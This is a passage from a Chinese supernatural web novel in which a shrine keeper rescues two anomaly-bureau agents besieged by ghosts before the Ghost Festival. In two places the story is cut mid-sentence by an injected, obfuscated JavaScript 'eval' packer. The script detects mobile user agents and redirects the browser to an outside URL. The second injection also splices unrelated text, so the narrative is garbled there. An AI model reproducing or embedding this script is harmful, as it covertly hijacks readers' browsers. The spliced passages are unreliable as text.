但同时,他也从对方口中听到了很多地方的风景民俗,与网上看到的没有实感的照片或文字不一样,对方曾经真切地用双脚丈量过那些城市。 这是一个很自由的人,过着乔霖无法想象的生活。 想到这里,他看向神龛,幽幽叹了口气:“叔,你说我供奉它那么多年了,什么时候才能往外走啊?” “总不能为了这尊木塑,一辈子都待在南安市吧?” 正在扫地的老人没有回答,就在乔霖以为这个问题依旧无解的时候,店里才响起另一道声音:“要不等中元节的时候,让古家大姑娘去城隍庙问问?正好她也要去上香。” 乔霖眼睛一亮,又颇为迟疑:“这……会不会麻烦古婆婆?” “古家大姑娘生前与张老关系最亲近不过,你又是她看着长大的,说不上麻烦不麻烦的话。”陈叔把灰尘扫出门外,回身走到柜台前。 他看着隐隐兴奋的青年,有些说不出的心疼:“你才二十岁,是该往外走走,多发展一些外地生意,被困在这里确实为难你了。” 这话乔霖不乐意听:“什么叫困在这里?你们也是为了我好,我不是好赖不分的人。” “不过我确实想往外走走,我记得小时候,家里人也带过我出门玩。” 只可惜当时年龄太小,那些记忆对如今的他来说,已经十分模糊了。 “别想家人了。”陈叔打断他的回忆,“你多惦记我们几个老家伙就行了。” 坐在柜台后的青年乖巧应下,眼中的兴奋却怎么也压不下去。 另一头,被压在单位加班的付文杰看着自家亲哥发来的登机牌,再看向不停震动的手机,辞职的想法十分强烈。 同样被调过来的南青站在付文杰身后,目瞪口呆地看着一长串警报,“南安市的人到底是怎么活到现在的?” 她收到调令的时候,手上的任务还没做完,直到今天下午才在南安市落地,结果刚在宿舍安顿好,出门吃了个晚餐,就被付文杰打电话催来加班了。 刚对接分局警报系统的手机上,二十四小时内新增近六十条异常警报的提示如此刺眼,不仅让南青怨气全消,甚至隐隐同情在这座城市生活的居民。 真不知道他们以前过着怎样水深火热的生活。 “他们怎么活到现在的我不知道。”付文杰已经想摆烂了,“但是这些异常警报如果没人捅出去,我们就得考虑自己怎么活过今晚了。” “捅出去?捅到总局那边?”南青觉得他疯了,“这么多警报积压着无法解决,比总局支援先来的是巨额罚金!” 以前这边没有异管局,只能等到其他省分局的事情处理完了,看到这些警报后再过来处理。 现在有了异管局,这些异常警报一旦积压到一定时间,就直接反馈到总局系统里——反馈的不是警报严重程度的消息,是这边分局的人消极怠工,有可能因私废公的消息。 “不是。”付文杰叹了口气,拿起手机点开一个群,一边发消息一边道,“这些异常警报如果惊扰本地居民,本地居民会寻求民间玄学人士的帮助,那我们的工作量能少很多很多。” 南青:“?” “你的意思是,如果那些人着手处理,咱们就可以不管?” 付文杰大方承认:“对啊,你刚来,不太了解这边的情况,但我得告诉你,咱们分局跟这边的民间机构关系很好,双方合作十分良好。” 他低头在群里问了一句今天有谁接了单,等有人回复后,又一一私聊具体地址,不过十分钟,就把异常警报标记了二十多起。 等标记完,他指着小程序的地图界面解释道:“这些人处理完会发消息给我,到时候就可以把处理中的标记改成结束了,不过这不是我们自己处理的,一定要选自然消失,否则总局要求拿出处理记录的时候,我编不出来。” “等下我拉你进群,以后我休假时再有警报,你先群里问一声,看他们有没有接这个地方的单,如果跟警报地址对得上就能排除,对不上我们就得亲自去一趟。” 南青听得一愣一愣的,甚至生出一股前所未有的轻松感。 “如果他们没有接到单子,我们去了也处理不了呢?”她问道,“我听说咱们局长是被强行派过来的,应该不爱管事吧?” “啊,对。”经过这段时间被亲哥的摧残,付文杰现在甚至敢上手处理局长的事,“事情不严重的话,你见不到咱们局长。” “不过别担心,咱们解决不了可以群里问一句,这边民间机构有人能解决的话,咱们就出钱请他们解决,然后跟过去拍个处理记录,混个绩效。” 南青懂了,如果没有市民自己向那些人求助,她们自己就当这个出钱解决的人。 市民是为了自己的生活平静花钱,她们是为了自己的责任和绩效花钱。 逐一排除掉有人解决的异常警报后,付文杰先在分局系统上写了一份申请,又切换到局长权限审批通过。 随后他跑去库房拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265423|198097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两把枪和几盒刻着繁复花纹的子弹,兜里还揣了一把黄符,他把这些东西分一半给南青,率先朝办公室外走去。 “咱们去看看剩下的那些警报是怎么回事,对了你是哪一派的道士?回头咱们这边符箓不够,还得麻烦你先补一补了。” 南青跟在付文杰后面,听到这句话莫名局促,几秒后才低声道:“我师父是湘西那边的。” “哦,湘西啊……湘西?!”付文杰猛然回头,“你是赶尸人?” “啊,对啊。”南青颇为心虚,“上一个任务拖这么久,就是把一具身死异地心有怨气的僵尸带回故土。” 她还特意强调:“我平时只能带普通尸体,那张震慑僵尸的符箓是从局里拿过去的,我不会画。” 这还是因为局里人手不够才派她去的,否则换个正经道士出身的同事过去,几道五雷符扔下去,原地就把那具僵尸超度了。 “你后面还有其他同事过来吗?”付文杰期盼地看着她,“就是那种会画符,会抓妖降鬼的同事。” 他语气里的期盼让南青隐隐发慌,“没,没了吧,我结束任务回局里时,调遣处的人说这边就差我没报道了。” “没事。”付文杰抹了一把脸,扭头走向停在路边的汽车,“咱们不是孤军奋战。” “好歹也能彼此作伴。” “希望这些异常警报,只是这座城市的居民生活压力大导致怨气冲天,而不是什么鬼怪作祟吧。” 南青:“???” 等等,这下她真的要慌了! 半个小时后,第二个异常警报点,付文杰和南青背靠着背,手中仅剩几张泛着微光的符箓,子弹早已用光的情况下,那两把特制的枪也成了摆设,最多砸鬼的时候能让它们疼一下。 而此刻,二人面对的是十几只面色不善的鬼。 在如狂风般的鬼啸声中,南青率先撑不住,“付哥,你能听懂它们在说什么吗?有没有和谈的可能?” “你还会赶尸,我纯粹是个对阴气敏感点的半吊子。”付文杰已经麻了,“早知道就不急着把桃木剑还回去了。” 来南安市接私活是因为副局长给他设套,但是好歹对方批了他的物资申请,给了几张符箓和一把桃木剑防身。 结果大洋商场一事结束后,他就把桃木剑寄回总局了。 如今群鬼环伺之下,他忽然明白那天晚上在病房,他哥为什么骂他蠢货了。 周围的阴气越来越重,迷蒙的鬼影逐渐逼近,看着符箓的光芒逐渐暗淡,南青甚至能听到自己牙齿打冷颤的声音。 “付哥,我才二十四岁,我不想……” “怕什么!”付文杰大喝一声,单手掏出手机点开一个号码,“你等我摇人!” 这是他哥一周前叮嘱他存下的号码,当时付行清的神色语气他至今记得。 「如果遇到危及性命的情况,直接打这个电话,只要你人在南安市,就能保你一命。」 这是连那位云家风水师都不敢做出的承诺,电话拨通后,付文杰只能祈祷他跟他哥的兄弟情足够可靠了。 13. 第 13 章 “嘟——嘟——喂?” 这道困顿的声音响起时,付文杰一度以为自己听错了。 此时他和南青触目所及之处,已经黑压压一片,再也看不到半点光影,他哆哆嗦嗦开口,却不见刚才打电话时的胆气。 “大、大师,我是付,付……” 躺在床上的青年听到某个字,掀开眼皮看了眼来电显示,“付行清的弟弟是吧?有什么事吗?” 对方知道自己是谁的这个消息,让付文杰确定他哥对他还是有兄弟情的。 “大师救命啊!” 一声石破天惊的哭嚎,直接把乔霖的困意给震飞了,他一边起床一边无奈道:“知道了知道了,你先把手机免提打开。” 已经出现幻觉的付文杰逼着自己不做任何反抗,攥着符箓的手僵硬地移到手机屏幕上。 指甲哆哆嗦嗦地磕到屏幕上,发出一声响,随后一道声音从手机里传出:“有几只鬼?在场的先报个数,然后找个显眼的地方待着,待会我到的时候但凡少一只,剩下的都搞连坐哈——” 带着哈欠声的话毫无威慑力,甚至因为音量偏小而听不太清,可神奇的是,就在这句话说完之后,付文杰和南青重新看到了路边的灯光——就好像那些鬼伴随着幻觉,瞬间消失了一样。 要不是耳边还有一道又一道的啸声,付文杰真以为自己在做梦。 不对,付文杰呆呆地听着此起彼伏却毫无重叠的鬼啸声,觉得自己的脑袋好像被阴气冻懵了。 这确实不是梦,是奇迹。 刚把店里的灯关上,准备把门外灯笼点上,等凌晨三点开门的陈叔却有些糟心。 “大晚上不睡觉,出门做什么?” “去赚钱啊。”乔霖拿着手机在柜台底下找电动车钥匙,拖鞋在水泥地面上发出拖沓的声音,“付行清他弟被围殴了,我去捞人。” 陈叔嘴角往下撇,两侧的法令纹更深了,“你帮他报个警就行了,自己去做什么?” “他是被南安市的鬼围殴了。”乔霖从月饼盒里扒拉出一把钥匙,打着哈欠往外走,“叔我先走了,一会就把那群犯事儿的带回来。” 听到不是人动的手,陈叔也不好说什么,虽然还是不希望乔霖晚上出门,但那人是付行清的弟弟,是官方的人,不看僧面看佛面,怎么都得去一趟。 “去吧,注意安全,要是有心野了的,你该叫人就叫人,巷里的人上了年纪,觉少,不怕被吵。” 乔霖哭笑不得,一边应下,一边从巷子转角的停车棚推出一辆红色电动车。 黄淮路某家店门前,南青吐出一口浊气,崇拜地看向付文杰:“付哥,那位大佬什么时候过来?” 此时的付文杰靠在路边的店门上,看着路灯下的一片阴影,咽了咽口水:“不知道啊,可能很快就到了吧,刚才我说路名的时候,那位大师说离得不远。” “你别怕,虽然我是第一次联系这位大师,但他知道我是谁,就说明跟我哥关系挺好的,肯定会来的。” 南青不知道是信了这位大师靠得住,还是在给自己信心,也点头道:“那应该很快就到了,毕竟这么晚还接你电话,你哥肯定早就打过招呼了。” “对了付哥,你哥是哪位?说不定我还在总局见过。” 付文杰警惕地盯着对面那片阴影,下意识道:“我哥叫付行清,以前不在总局任职。” 南青:“?” 哪个行?哪个清?不会是她在分局系统职位上看到的那个付行清吧? 这个名字所代表的含义瞬间盖过了不安的情绪,南青小心翼翼瞥了付文杰一眼,看到对方如临大敌的神情,再回想起出发前的对话,瞬间明了。 怪不得什么都不会还能进总局,怪不得会被调来分局,感情是个靠关系的刷履历的公子哥。 不过南青从不排斥关系户,毕竟异管局跟普通单位不一样,局里有一位关系户在,意味着资源方面不容易被卡,而且这些人什么都不会,也没本事抢功劳。 正当她想问问那位未曾谋面的局长有什么本事的时候,付文杰却神情一凛:“南青你看那辆车,是不是大师来了?” 一辆打着转向灯的黑色私家车从拐角处转入黄淮路,匀速向他们这边驶来。 破局希望的出现,同样让南青有些兴奋:“应该是大师的车,咱们局里的那些大师都爱开黑色的车,你看这辆车还是……” “还是什么?”一道疑惑的声音从二人身后传来,随之而来的还有轮胎刹住,钥匙扭动的声音。 付文杰和南青同时转头,眼尾还能看到因为断电瞬间熄灭的车灯。 穿着T恤和运动短裤的青年从那辆掉了漆的红色电动车上下来,拿着车钥匙向他们走来。 而刚才被二人认定为大师座驾的那辆黑色豪车,也出现在视野里,向着青年来时的方向匀速地离开,就连这稳定的车速,都像极了局里那些大师不紧不慢的性子。 “你就是付行清的弟弟?”乔霖看了付文杰一眼,小声嘀咕一句,“长得也不太像啊。” “不不不,大师,我真是我哥的亲弟弟。”付文杰生怕对方转身离开,认真强调,“同父同母的那种!” “哦,我也没说你不是,就是觉得你们兄弟俩长得不太像而已。”乔霖随口应付一句,转头看向路灯下的那片阴影,“还愣着干什么?说说吧,怎么回事啊?” “他乱抓好鬼!一定是邪修!” “这么多鬼聚在一起,一定是准备害人!” 鬼啸声和人声同时响起,乔霖揉了揉耳朵,“弟弟你先别说话,你们也别激动,一个一个说。” 他又不聋,喊这么大声干什么。 双方同时安静下来,几秒后,付文杰后怕的声音率先响起:“今晚出现了几十起异常警报,我跟同事过来查看怎么回事,就发现这些阴魂不约而同聚在一起,不知道要干什么。” “我怕放着不管会出人命,所以打算先抓回去,问清楚了再说。” 乔霖有些诧异:“你听得懂鬼话?” “听不懂。”付文杰老实摇头,“但是借助牛眼泪或者特殊处理过的柳叶水,我们能看到鬼影,可以问问题,让它们在是或者否上面画圈进行交流。” “就这样?你们也不怕被骗。”乔霖摇了摇头,觉得异管局办事也不太靠谱。 他转头看向另一边,刚要问话,又像是想什么似的,手指胡乱掐了几下才开口:“说吧。” 十几只鬼不知道他为什么说话前还要玩手指,但还是一五一十把它们看到的事情说了出来。 “乔老板晚上好,这不是快到中元节了嘛,我们就爱聚在一起聊天,聊家里人会给烧什么祭品,聊今年那些道公们又准备了什么样的祈福仪式,往年都这样啊。” “我们十几个鬼家里祭祀不多,这几天都在打听今年哪个区有人打算祭野,到时候一起去吃野香,刚才正交换情报呢,就看到他们在对面抓鬼。” 这阴魂指了个方向,是十字路口处,与黄淮路相对的另一条路。 “那两只鬼我有印象,刚死没多久,因为家里人太牵挂,才没法马上去地府报道的,结果这两人看到后,二话不说拿着法器打鬼,那两只鬼都求饶了还打!” “一开始我们以为那两只鬼生前跟谁有恩怨,这两人是人请过来的,也不敢冒头插手,可是他们把鬼打得魂体变淡之后,就收起来了!”说话的阴魂瞪着眼睛,嘴巴咧得大大的,十分惶恐不安的模样。 “不是打死,不是超度,是收起来了!” “就跟那些邪修一样,要抓鬼去炼器或者养鬼王!” 乔霖有些无语:“有本事以鬼炼器的那些人,都被国家收编吃上公家饭了,哪有这个闲心大老远跑过来抓鬼?” “还养鬼王,鬼王有这么好养?你见过几个鬼王啊?” 被吐槽的阴魂缩起脖子,小声道:“咱们南安市的鬼市,不就是一位鬼王坐镇嘛……” 乔霖又掐了几下手指,“那这里是鬼市吗?” 十几只阴魂齐齐摇头。 “刚才动手打人了吗?” 十几只阴魂又摇头,其中一只小声道:“不过刚才咱们想救那两只鬼的时候靠得比较近,阴气也重了点,那两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无论这个青年对她和付文杰的能力,或者对异管局有什么样的看法,人家确实是在接到求助后赶过来,从一群鬼的手中救了她和付文杰。 而她刚才那些话,跟批判对方人品有什么差别? 付文杰在听到这位新同事说的话后,就知道事情要遭,虽然不知道乔霖是什么来路,但是开口就能按住十几只阴魂的人,能是什么普通人? 他见识过这种大师的脾气,南青刚才的话,轻则影响到他哥跟对方的交情,重则……为了安全起见,他得想办法把她调回总局了。 就在付文杰绞尽脑汁想说些什么补救的时候,忽然一道轻笑声响起。 没有恼羞成怒,也没有被冒犯的不悦,只有平平淡淡一句话:“觉悟挺高的,那就像付弟弟说的那样,你们继续努力吧。” 付文杰错愕抬起头,对上一双含笑的眼睛,“下次准备齐全再出任务,我想人民群众对于军人警察也是这么期盼的。” “对了,弟弟你叫什么名字?” “付、付文杰。” 乔霖咂了咂嘴:“你跟你哥还真不像,无论是长相还是名字。” “行了,我先回去睡觉了,你们也回去吧,南安市不是只有你们在努力,一时半会出不了什么乱子。” “有什么事明天再说吧。” 乔霖转身背对二人挥手告别,慢悠悠地走向那辆掉了漆的红色电动车,宽大的T恤衬得他的身影格外消瘦,那只黑色方镯明晃晃挂在腕骨上,给他带上一丝与年龄相符的活力。 直到这辆电动车载着主人离开,付文杰才反应过来自己没有询问对方名字,也没有感谢对方的救命之恩。 就在他深感遗憾之际,南青十分感慨的声音响起:“这就是高人吗?太有肚量了吧!” 她早该知道的,能骑着电动车过来的大师,会是那种拘泥于形式的人吗? 付文杰立刻翻了个白眼:“你要是见过总局那边的高人,就知道人不能一概而论了。” 这次只能说他们运气好,否则今晚都不敢闭眼睡觉。